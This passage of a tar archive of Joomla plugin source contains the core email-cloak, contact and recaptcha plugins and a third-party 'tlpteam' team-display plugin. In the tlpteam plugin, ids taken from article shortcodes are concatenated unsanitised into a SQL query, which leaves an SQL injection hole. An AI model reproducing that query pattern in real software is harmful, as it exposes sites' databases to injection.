		$searchText = '((?:[\x20-\x7f]|[\xA1-\xFF]|[\xC2-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF4][\x80-\xBF]{3})[^<>]+)';

		// Any Image link
		$searchImage = '(<img[^>]+>)';

		// Any Text with <span or <strong
		$searchTextSpan = '(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)' . $searchText . '(</span>|</strong>|</span></strong>)';

		// Any address with <span or <strong
		$searchEmailSpan = '(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)' . $searchEmail . '(</span>|</strong>|</span></strong>)';

		/*
		 * Search and fix derivatives of link code <a href="http://mce_host/ourdirectory/email@example.org"
		 * >email@example.org</a>. This happens when inserting an email in TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);
		$pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search and fix derivatives of link code <a href="http://mce_host/ourdirectory/email@example.org"
		 * >anytext</a>. This happens when inserting an email in TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);
		$pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org"
		 * >email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]) . $regs[6][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = addslashes($regs[4][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything>email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage . $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage . $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org?
		 * subject=Text">email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org?
		 * subject=Text">anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = addslashes($regs[5][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com?subject= Text"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . $regs[6][0] . $regs[7][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com?subject= Text">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . addslashes($regs[6][0]) . $regs[7][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything>email@amail.com</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage . $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage . $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . addslashes($regs[6][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for plain text email addresses, such as email@example.org but not within HTML tags:
		 * <img src="..." title="email@example.org"> or <input type="text" placeholder="email@example.org">
		 * The '<[^<]*>(*SKIP)(*F)|' trick is used to exclude this kind of occurrences
		 */
		$pattern = '~<[^<]*>(*SKIP)(*F)|' . $searchEmail . '~i';

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0];
			$replacement = JHtml::_('email.cloak', $mail, $mode);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[1][1], strlen($mail));
		}

		return true;
	}
}
                                                                                                                                                                                                                                                                   content/emailcloak/emailcloak.xml                                                                   0000705                 00000002325 15242051520 0013136 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_emailcloak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="emailcloak">emailcloak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_emailcloak.ini</language>
		<language tag="en-GB">en-GB.plg_content_emailcloak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mode"
					type="list"
					label="PLG_CONTENT_EMAILCLOAK_MODE_LABEL"
					description="PLG_CONTENT_EMAILCLOAK_MODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="0">PLG_CONTENT_EMAILCLOAK_NONLINKABLE</option>
					<option value="1">PLG_CONTENT_EMAILCLOAK_LINKABLE</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                           content/index.html                                                                                  0000705                 00000000037 15242051520 0010205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/tlpteam/index.html                                                                          0000705                 00000000000 15242051520 0011641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       content/tlpteam/tlpteam.php                                                                         0000705                 00000021153 15242051520 0012037 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  tlpteam
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_tlpteam/router.php';
$document = JFactory::getDocument();

$document->addStyleSheet('components/com_tlpteam/assets/css/tlpteam.css');
/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgContentTlpteam extends JPlugin {


    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     * @since  3.1
     */
    protected $autoloadLanguage = true;

    public $configs = null;

    function __construct( &$subject, $params ) {
        parent::__construct( $subject, $params );
    }

    /**
     * Plugin that retrieves contact information for contact
     *
     * @param   string   $context  The context of the content being passed to the plugin.
     * @param   mixed    &$row     An object with a "text" property
     * @param   mixed    $params   Additional parameters. See {@see PlgContentContent()}.
     * @param   integer  $page     Optional page number. Unused. Defaults to zero.
     *
     * @return  boolean True on success.
     */
    public function onContentPrepare($context, &$article, &$params, $page = 0)
    {

        $allowed_contexts = array('com_content.category', 'com_content.article', 'com_content.featured', 'mod_custom.content');

        if (!in_array($context, $allowed_contexts))
        {
            return true;
        }

        // Simple performance check to determine whether bot should process further
        if (strpos($article->text, 'tlpteam') === false && strpos($article->text, 'tlpteam') === false)
        {
            return true;
        }

        $db     = JFactory::getDbo();
        $document = JFactory::getDocument();
        $app = JFactory::getApplication();
        $tlpteam_params = JComponentHelper::getParams('com_tlpteam');
        $image_storiage_path = $tlpteam_params->get('image_path');
        $name_field=$tlpteam_params->get('g_name_field');
        $position_field=$tlpteam_params->get('g_position_field');
        $shortbio_field=$tlpteam_params->get('g_shortbio_field');
        $socialicon_field=$tlpteam_params->get('g_socialicon_field');
        $email_field=$tlpteam_params->get('g_email_field');
        $phoneno_field=$tlpteam_params->get('g_phoneno_field');
        $website_field=$tlpteam_params->get('g_website_field');
        $location_field=$tlpteam_params->get('g_location_field');
        $bootstrap_version=$tlpteam_params->get('bootstrap_version');
        $display_no=$tlpteam_params->get('g_display_no');
        $grid=(12/$display_no);
        if($bootstrap_version==3){
            $bss="col-md-".$grid." col-lg-".$grid." col-sm-6";
        }else{
            $bss="tlp-col-md-".$grid." tlp-col-lg-".$grid." tlp-col-sm-6";
        }

        // Expression to search for(tlpteam id)
        $regex = '/{tlpteam\s*.*?}/i';
        // find all instances of mambot and put in $matches
       preg_match_all($regex, $article->text, $matches_v, PREG_SET_ORDER);

       // echo '<pre>';
       // print_r($matches_v);
       // echo '</pre>';
        //if we have mambot on txt replace them
        // No matches, skip this 
        foreach($matches_v as $match){
            $matches_v = $match[0];

                $matches_v = str_replace("{", "", $matches_v);
                $matches_v = str_replace("}", "", $matches_v);
                $search = explode(" ", $matches_v);

              //print_r($search);
                //Array ( [0] => team [1] => id=1 )
                foreach($search as $s_row => $s_value){
                    $final = explode("=",$s_value);
                    if(isset($final[1])){
                        $replace[$final[0]] = $final[1];
                    }
                }

                $whereQ = null;
                $memberIds = explode(',', $replace['id']);
                $i= 1; 
                foreach ($memberIds as $id) {
                    $or = ($i > 1 ? "OR " : null);
                    $whereQ .= " $or id = '$id' "; 
                    $i++;
                }
               
                $query = "SELECT * FROM #__tlpteam_team WHERE $whereQ";
                $db->setQuery($query);
                $items = $db->loadObjectList();
                //echo $items=count($item_total);
               // echo $limit = $this->params->def('search_limit', 50);
                 $output = null;
                 $output .='<div class="container-fluid plg-tlp-team tlp-team ">';
                 $output .='<div class="row layout3">';
               foreach($items as $item){
                $detail_link = JRoute::_('index.php?option=com_tlpteam&view=team&id='.$item->id);
                $output .='<div class="'.$bss.'">';
                $output .='<div class="single-team-area">'; 
                $output .='<figure>
                        <img class="img-responsive" src="'.JURI::root().$image_storiage_path.'/m_'.$item->profile_image.'" alt="'. $item->name.'"/> ';                 
                $output .= '</figure>'; 
                $output .='<h3><span class="tlp-name"><a href="'.$detail_link.'">'.$item->name.'</a></span></h3>';
                if($position_field==1){
                $output .='<div class="tlp-position">'. $item->position.'</div>';
                }
                if($shortbio_field==1){
                $output .='<div class="short-bio">
                   <p>'. $item->short_bio.'</p>';
                $output .='</div>';
            }
            if(($email_field==1)||($phoneno_field==1)||($website_field==1)||($location_field==1)){
                $output .='<div class="contact-info">  
                        <ul>';
                    if(($email_field==1)&&($item->email!='')){
                    $output .='<li><i class="fa fa-envelope-o"></i><span><a href="mailto:'.$item->email.'">'.$item->email.'</a></span> </li>';
                     }
                     if(($website_field==1)&&($item->personal_website!='')){
                    $output .='<li><i class="fa fa-globe"></i><span><a href="'.$item->personal_website.'" target="_blank">'.$item->personal_website.'</a></span> </li>';
                       }
                    if(($phoneno_field==1)&&($item->phoneno!='')){
                    $output .='<li><i class="fa fa-phone"></i><span><a href="tel:'.$item->phoneno.'">'.$item->phoneno.'</a></span></li>';
                     }
                    if(($location_field==1)&&($item->location!='')){
                    $output .='<li><i class="fa fa-map-marker"></i><span>'. $item->location.'</span> </li>';
                    
                    }     
                $output .='</ul>
                      </div>';
                }
            if($socialicon_field==1){ 
                $output .='<div class="social-icons">';
                        if($item->facebook!=''){
                        $output .='<a href="'.$item->facebook.'" target="_blank"><i class="fa fa-facebook"></i></a>';
                        }
                        if($item->twitter!=''){
                        $output .='<a href="'.$item->twitter.'" target="_blank"><i class="fa fa-twitter"></i></a>';
                        }
                        if($item->google_plus!=''){
                        $output .='<a href="'.$item->google_plus.'" target="_blank"><i class="fa fa-google-plus"></i></a>';
                        }
                        if($item->linkedin!=''){
                        $output .='<a href="'.$item->linkedin.'" target="_blank"><i class="fa fa-linkedin"></i></a>';
                        }
                        if($item->youtube!=''){
                        $output .='<a href="'. $item->youtube.'" target="_blank"><i class="fa fa-youtube"></i></a>';
                        }
                        if($item->vimeo!=''){
                        $output .='<a href="'. $item->vimeo.'" target="_blank"><i class="fa fa-vimeo"></i></a>';
                        }
                        if($item->instagram!=''){
                        $output .='<a href="'. $item->instagram.'" target="_blank"><i class="fa fa-instagram"></i></a>';
                        }
                    $output .='</div>';
                }
                $output .='</div>';  
                $output .='</div>';
             }
                $output .='</div>';
                $output .='</div>';
                $matchesfull = '{'. $matches_v . '}';
               
                $article->text = preg_replace("|$matchesfull|", $output, $article->text, 1);
        }
        
    }
}                                                                                                                                                                                                                                                                                                                                                                                                                     content/tlpteam/tlpteam.xml                                                                         0000705                 00000002236 15242051520 0012051 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content">
    <name>plg_content_tlpteam</name>
    <author>TechLabPro</author>
    <creationDate>2015-09-16</creationDate>
    <copyright>Copyright (C) 2015. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>techlabpro@gmail.com</authorEmail>
    <authorUrl>http://www.techlabpro.com</authorUrl>
    <version>1.0</version>
    <description>PLG_CONTENT_COM_TLPTEAM_XML_DESCRIPTION</description>
    <files>
        <filename plugin="tlpteam">tlpteam.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/content/tlpteam">
        
		<language tag="en-GB">../../../languages/plugins/content/tlpteam/en-GB/en-GB.plg_content_tlpteam.ini</language>
	    <language tag="en-GB">../../../languages/plugins/content/tlpteam/en-GB/en-GB.plg_content_tlpteam.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
                
            </fieldset>

        </fields>
    </config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                  content/contact/index.html                                                                          0000705                 00000000037 15242051520 0011640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/contact/contact.php                                                                         0000705                 00000006370 15242051520 0012015 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Contact
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Contact Plugin
 *
 * @since  3.2
 */
class PlgContentContact extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.3
	 */
	protected $db;

	/**
	 * Plugin that retrieves contact information for contact
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   mixed    &$row     An object with a "text" property
	 * @param   mixed    $params   Additional parameters. See {@see PlgContentContent()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, $params, $page = 0)
	{
		$allowed_contexts = array('com_content.category', 'com_content.article', 'com_content.featured');

		if (!in_array($context, $allowed_contexts))
		{
			return true;
		}

		// Return if we don't have valid params or don't link the author
		if (!($params instanceof Registry) || !$params->get('link_author'))
		{
			return true;
		}

		// Return if an alias is used
		if ((int) $this->params->get('link_to_alias', 0) === 0 && $row->created_by_alias != '')
		{
			return true;
		}

		// Return if we don't have a valid article id
		if (!isset($row->id) || !(int) $row->id)
		{
			return true;
		}

		$contact        = $this->getContactData($row->created_by);
		$row->contactid = $contact->contactid;
		$row->webpage   = $contact->webpage;
		$row->email     = $contact->email_to;
		$url            = $this->params->get('url', 'url');

		if ($row->contactid && $url === 'url')
		{
			JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');
			$row->contact_link = JRoute::_(ContactHelperRoute::getContactRoute($contact->contactid . ':' . $contact->alias, $contact->catid));
		}
		elseif ($row->webpage && $url === 'webpage')
		{
			$row->contact_link = $row->webpage;
		}
		elseif ($row->email && $url === 'email')
		{
			$row->contact_link = 'mailto:' . $row->email;
		}
		else
		{
			$row->contact_link = '';
		}

		return true;
	}

	/**
	 * Retrieve Contact
	 *
	 * @param   int  $userId  Id of the user who created the article
	 *
	 * @return  mixed|null|integer
	 */
	protected function getContactData($userId)
	{
		static $contacts = array();

		if (isset($contacts[$userId]))
		{
			return $contacts[$userId];
		}

		$query = $this->db->getQuery(true);

		$query->select('MAX(contact.id) AS contactid, contact.alias, contact.catid, contact.webpage, contact.email_to');
		$query->from($this->db->quoteName('#__contact_details', 'contact'));
		$query->where('contact.published = 1');
		$query->where('contact.user_id = ' . (int) $userId);

		if (JLanguageMultilang::isEnabled() === true)
		{
			$query->where('(contact.language in '
				. '(' . $this->db->quote(JFactory::getLanguage()->getTag()) . ',' . $this->db->quote('*') . ') '
				. ' OR contact.language IS NULL)');
		}

		$this->db->setQuery($query);

		$contacts[$userId] = $this->db->loadObject();

		return $contacts[$userId];
	}
}
                                                                                                                                                                                                                                                                        content/contact/contact.xml                                                                         0000705                 00000003142 15242051520 0012020 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="content" method="upgrade">
	<name>plg_content_contact</name>
	<author>Joomla! Project</author>
	<creationDate>January 2014</creationDate>
	<copyright>(C) 2014 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.2</version>
	<description>PLG_CONTENT_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_contact.ini</language>
		<language tag="en-GB">en-GB.plg_content_contact.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="url"
					type="list"
					label="PLG_CONTENT_CONTACT_PARAM_URL_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_URL_DESCRIPTION"
					default="url"
					>
					<option value="url">PLG_CONTENT_CONTACT_PARAM_URL_URL</option>
					<option value="webpage">PLG_CONTENT_CONTACT_PARAM_URL_WEBPAGE</option>
					<option value="email">PLG_CONTENT_CONTACT_PARAM_URL_EMAIL</option>
				</field>

				<field
					name="link_to_alias"
					type="radio"
					label="PLG_CONTENT_CONTACT_PARAM_ALIAS_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_ALIAS_DESCRIPTION"
					default="0"
					class="btn-group btn-group-yesno"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                              captcha/index.html                                                                                  0000705                 00000000037 15242051520 0010136 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 captcha/recaptcha/index.html                                                                        0000705                 00000000037 15242051520 0012070 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 captcha/recaptcha/recaptcha.php                                                                     0000705                 00000023126 15242051520 0012542 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper;

/**
 * Recaptcha Plugin
 * Based on the official recaptcha library( https://packagist.org/packages/google/recaptcha )
 *
 * @since  2.5
 */
class PlgCaptchaRecaptcha extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA') => array(
				JText::_('PLG_RECAPTCHA_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  Boolean	True on success, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY'));
		}

		if ($this->params->get('version', '1.0') === '1.0')
		{
			JHtml::_('jquery.framework');

			$theme  = $this->params->get('theme', 'clean');
			$file   = 'https://www.google.com/recaptcha/api/js/recaptcha_ajax.js';

			JHtml::_('script', $file);
			JFactory::getDocument()->addScriptDeclaration('jQuery( document ).ready(function()
